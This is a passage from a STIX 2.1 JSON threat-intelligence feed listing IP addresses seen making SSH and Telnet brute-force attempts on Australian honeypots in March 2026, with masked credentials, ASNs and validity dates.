      "id": "indicator--507d5ff9-0df2-45b0-922b-9d0b6f845ea2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T16:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '59.91.37.187']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T16:15:03.000Z",
      "valid_until": "2026-04-28T16:15:01.000Z"
    },
    {
      "created": "2026-03-27T17:15:02.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 94. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, a********9, m****l, t**t.",
      "id": "indicator--c434d22d-f4f8-4a83-afd5-61d37ac2eaa0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T17:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '146.190.111.235']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T17:15:02.000Z",
      "valid_until": "2026-04-28T17:15:01.000Z"
    },
    {
      "created": "2026-03-27T17:15:02.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 92. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SC. ASN(s): 142403. Organisation(s): YISU CLOUD LTD. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1*******,, 1*********3, 3***********4, 3**********4, @********4.",
      "id": "indicator--c1cccfa5-7e61-4e0f-920d-c85dfabb6e16",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T17:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '154.83.13.181']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T17:15:02.000Z",
      "valid_until": "2026-04-28T17:15:01.000Z"
    },
    {
      "created": "2026-03-27T17:15:02.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 38. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group. Usernames observed (masked): r**t, a***n, c****g, s***d, s*****t. Passwords observed (masked): a***n, a*******3, c****g, r**t, s***d.",
      "id": "indicator--320b284e-f66f-48aa-8f68-d8bf7a0fe963",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T17:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '171.231.199.190']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T17:15:02.000Z",
      "valid_until": "2026-04-28T17:15:01.000Z"
    },
    {
      "created": "2026-03-27T17:15:02.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 543. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group. Usernames observed (masked): a***n, r**t, t**t, c***o, d*******r. Passwords observed (masked): 1**4, 1****6, a***n, p******d, *****.",
      "id": "indicator--5960133e-d6f0-40ab-a232-79d9695f5f58",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T17:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '27.79.0.102']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T17:15:02.000Z",
      "valid_until": "2026-04-28T17:15:01.000Z"
    },
    {
      "created": "2026-03-27T17:15:02.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 44. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group. Usernames observed (masked): a***n, r**t, i*******r, u**t, u**r. Passwords observed (masked): 0**************D, *, a***n, i*******r, r*****3.",
      "id": "indicator--cea5e1c1-aa23-438f-bfda-1b1227534cf7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T17:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '27.79.40.205']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T17:15:02.000Z",
      "valid_until": "2026-04-28T17:15:01.000Z"
    },
    {
      "created": "2026-03-27T17:15:02.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 407. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group. Usernames observed (masked): r**t, a***n, ***, b****p, b*********e. Passwords observed (masked): p******d, 1***5, P******d, a****3, a******3.",
      "id": "indicator--4bb50b9c-ef39-41f3-88c6-38d1ca95596a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T17:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '27.79.45.243']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T17:15:02.000Z",
      "valid_until": "2026-04-28T17:15:01.000Z"
    },
    {
      "created": "2026-03-27T17:15:02.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AM. ASN(s): 48675. Organisation(s): Diananet LLC.",
      "id": "indicator--ebf21b48-174d-4298-ab5c-62727ec71bd3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T17:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.15.151.153']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T17:15:02.000Z",
      "valid_until": "2026-04-28T17:15:01.000Z"
    },
    {
      "created": "2026-03-27T18:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--d9e5b71f-6be2-4d28-a4df-f58cd78328dc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T18:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.213']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T18:15:13.000Z",
      "valid_until": "2026-04-28T18:15:01.000Z"
    },
    {
      "created": "2026-03-27T18:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: SC. ASN(s): 49870. Organisation(s): Alsycon B.V..",
      "id": "indicator--8008d310-191d-4ad6-ac1d-9623bd0fa539",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T18:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '160.119.76.57']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T18:15:13.000Z",
      "valid_until": "2026-04-28T18:15:01.000Z"
    },
    {
      "created": "2026-03-27T18:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 20115. Organisation(s): Charter Communications LLC.",
      "id": "indicator--5b2a9f64-1d49-4ef6-8ac2-7e26bbe12e9c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T18:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '35.130.137.18']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T18:15:13.000Z",
      "valid_until": "2026-04-28T18:15:01.000Z"
    },
    {
      "created": "2026-03-27T18:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 268468. Organisation(s): MXCONECT SERVICOS DE COMUNICACAO LTDA.",
      "id": "indicator--8d785fc6-d0fa-4aa7-a2b8-ebbf021db422",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T18:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.239.203.238']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T18:15:13.000Z",
      "valid_until": "2026-04-28T18:15:01.000Z"
    },
    {
      "created": "2026-03-27T19:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 11492. Organisation(s): CABLE ONE, INC..",
      "id": "indicator--cf71c616-5cfe-4483-89e2-67c01d04c586",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T19:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '152.37.215.175']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T19:15:03.000Z",
      "valid_until": "2026-04-28T19:15:01.000Z"
    },
    {
      "created": "2026-03-27T19:15:03.000Z",
      "description": "Attacker IP - SSH & Telnet / Observed authentication attempts via ssh, telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 22, 23. Source country: AU. ASN(s): 63949. Organisation(s): Akamai Connected Cloud.",
      "id": "indicator--b4a6ba9b-f1aa-47dd-9f9f-7bd4aaa84437",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T19:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '172.105.177.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T19:15:03.000Z",
      "valid_until": "2026-04-28T19:15:01.000Z"
    },
    {
      "created": "2026-03-27T19:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 44. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--33e1cb5a-2e72-440b-bdac-339ec6f3c523",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T19:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '175.107.205.107']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T19:15:03.000Z",
      "valid_until": "2026-04-28T19:15:01.000Z"
    },
    {
      "created": "2026-03-27T19:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22, 443. Source country: US. ASN(s): 396507. Organisation(s): Emerald Onion.",
      "id": "indicator--e7a43fb6-f179-42c0-9dae-523e08081aee",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T19:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '23.129.64.212']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T19:15:03.000Z",
      "valid_until": "2026-04-28T19:15:01.000Z"
    },
    {
      "created": "2026-03-27T19:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 5650. Organisation(s): Frontier Communications of America, Inc..",
      "id": "indicator--c66adb69-7596-4bcb-9ed7-19e6577d41e7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T19:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '47.156.230.44']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T19:15:03.000Z",
      "valid_until": "2026-04-28T19:15:01.000Z"
    },
    {
      "created": "2026-03-27T19:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 18779. Organisation(s): EGIHosting.",
      "id": "indicator--486354c8-cb62-4d16-89ea-e7d967d08e33",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T19:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '50.118.250.178']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T19:15:03.000Z",
      "valid_until": "2026-04-28T19:15:01.000Z"
    },
    {
      "created": "2026-03-27T19:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TR. ASN(s): 9121. Organisation(s): Turk Telekom.",
      "id": "indicator--d2f043a5-5d93-44b3-a20f-d9cc37b5d553",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T19:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '78.168.123.220']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T19:15:03.000Z",
      "valid_until": "2026-04-28T19:15:01.000Z"
    },
    {
      "created": "2026-03-27T20:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--a936ceca-9813-4121-ac03-af1614205c62",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T20:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '129.212.190.51']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T20:15:03.000Z",
      "valid_until": "2026-04-28T20:15:01.000Z"
    },
    {
      "created": "2026-03-27T20:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BW. ASN(s): 14988. Organisation(s): BTC-GATE1. Usernames observed (masked): r**t. Passwords observed (masked): Q******!.",
      "id": "indicator--b7689521-5695-41c9-8886-dbd130f70c7d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T20:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '168.167.228.123']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T20:15:03.000Z",
      "valid_until": "2026-04-28T20:15:01.000Z"
    },
    {
      "created": "2026-03-27T21:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t. Passwords observed (masked): P********^.",
      "id": "indicator--99d508b6-f7cc-46ec-a5e0-b6cf0c2f71e5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T21:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '128.14.225.164']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T21:15:03.000Z",
      "valid_until": "2026-04-28T21:15:01.000Z"
    },
    {
      "created": "2026-03-27T22:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 124. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 138152. Organisation(s): YISU CLOUD LTD. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1***********y, 1**********E, 1*******3, 3***********4, 3**********4.",
      "id": "indicator--21e49f77-0106-4dd4-97c9-91e735994b21",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T22:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.143.238.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T22:15:03.000Z",
      "valid_until": "2026-04-28T22:15:01.000Z"
    },
    {
      "created": "2026-03-27T22:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone. Usernames observed (masked): r**t. Passwords observed (masked): b******%, c*****t.",
      "id": "indicator--93546857-d9a2-4c89-a312-f88d02c54f6d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T22:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '112.224.196.243']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T22:15:03.000Z",
      "valid_until": "2026-04-28T22:15:01.000Z"
    },
    {
      "created": "2026-03-27T22:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 38365. Organisation(s): Beijing Baidu Netcom Science and Technology Co., Ltd.. Usernames observed (masked): r**t. Passwords observed (masked): q*******c.",
      "id": "indicator--f20a2aad-192a-4cc9-a949-8d200a1ea23d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T22:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '120.48.140.232']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T22:15:03.000Z",
      "valid_until": "2026-04-28T22:15:01.000Z"
    },
    {
      "created": "2026-03-27T22:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 317. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TW. ASN(s): 208137. Organisation(s): Feo Prest SRL. Usernames observed (masked): r**t. Passwords observed (masked): B*************g, B**************!, B**************1, B***************!, B****************3.",
      "id": "indicator--d99fad87-3819-42ab-9b4a-7948c4a556bc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T22:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '213.177.179.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T22:15:03.000Z",
      "valid_until": "2026-04-28T22:15:01.000Z"
    },
    {
      "created": "2026-03-27T22:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 56971. Organisation(s): Cgi Global Limited. Usernames observed (masked): a***n, o******i. Passwords observed (masked): a***n, o******i.",
      "id": "indicator--ff64c032-f14d-4428-8a90-dae7ac7c5a59",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T22:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '46.8.68.17']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T22:15:03.000Z",
      "valid_until": "2026-04-28T22:15:01.000Z"
    },
    {
      "created": "2026-03-27T22:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 9829. Organisation(s): National Internet Backbone.",
      "id": "indicator--8466c5ca-25a8-4753-a16f-3c0f5db75bd2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T22:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '59.91.45.251']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T22:15:03.000Z",
      "valid_until": "2026-04-28T22:15:01.000Z"
    },
    {
      "created": "2026-03-27T22:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 9. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 47583. Organisation(s): Hostinger International Limited. Usernames observed (masked): r**t. Passwords observed (masked): h*******4.",
      "id": "indicator--ab5fbcbf-8480-49e9-9905-0e5710cf4eb8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T22:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '72.60.151.202']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T22:15:03.000Z",
      "valid_until": "2026-04-28T22:15:01.000Z"
    },
    {
      "created": "2026-03-27T22:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IT. ASN(s): 29447. Organisation(s): Scaleway SAS. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1***********y, 1***********@, 1**********E, 1*******s, 3***********4.",
      "id": "indicator--bf1ef00b-0942-4559-bf2a-c7f5f8139f19",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T22:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '81.57.15.243']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T22:15:03.000Z",
      "valid_until": "2026-04-28T22:15:01.000Z"
    },
    {
      "created": "2026-03-27T22:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 12389. Organisation(s): Rostelecom.",
      "id": "indicator--7bcc9ec5-8a43-4621-9640-d1c9813ba71a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T22:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '93.120.145.193']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T22:15:03.000Z",
      "valid_until": "2026-04-28T22:15:01.000Z"
    },
    {
      "created": "2026-03-27T23:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group.",
      "id": "indicator--cbbce569-13bf-4cc1-9604-5de164b26094",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T23:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '1.34.179.16']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T23:15:03.000Z",
      "valid_until": "2026-04-28T23:15:01.000Z"
    },
    {
      "created": "2026-03-27T23:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--8e7a0205-984a-41e0-bcec-19c30dcdf016",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T23:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '14.1.106.82']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T23:15:03.000Z",
      "valid_until": "2026-04-28T23:15:01.000Z"
    },
    {
      "created": "2026-03-27T23:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 24. Sensors involved: Cowrie. Target ports: 23. Source country: UA. ASN(s): 48004. Organisation(s): PE Tsibrankov Konstantin Igorevich.",
      "id": "indicator--19d66997-a4a8-4216-868e-db231cc5b614",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T23:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '195.18.18.242']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T23:15:03.000Z",
      "valid_until": "2026-04-28T23:15:01.000Z"
    },
    {
      "created": "2026-03-27T23:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--57bfcdb2-c12b-4591-ae6f-978422d67588",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-27T23:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.164']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T23:15:03.000Z",
      "valid_until": "2026-04-28T23:15:01.000Z"
    },
    {
      "created": "2026-03-27T23:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 9829. Organisation(s): National Internet Backbone.",
      "id": "indicator--4aae3b92-9edb-4fb4-a768-f4faf902b3cf",
